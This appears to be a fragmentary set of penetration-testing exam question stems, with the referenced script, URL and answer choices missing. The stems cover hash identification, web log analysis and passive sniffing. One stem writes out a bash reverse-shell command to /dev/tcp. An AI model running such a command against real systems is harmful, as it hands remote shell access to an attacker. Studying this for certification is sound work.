Given the following Python script:

Which of the following is where the output will go?

If a security consultant comes across a password hash that resembles the following:
b117525b345470c29ca3d8ae0b556ba8
Which of the following formats is the correct hash type?

A security analyst has uncovered a suspicious request in the logs for a web application. Given the following URL:

A tester intends to run the following command on a target system:
bash -i >& /dev/tcp/10.2.4.6/443 0> &1
Which of the following additional commands would need to be executed on the tester's Linux system to make the previous command successful?

A penetration tester is connected to a client's local network and wants to passively identify cleartext protocols and potentially sensitive data being communicated across the network.
Which of the following is the BEST approach to take?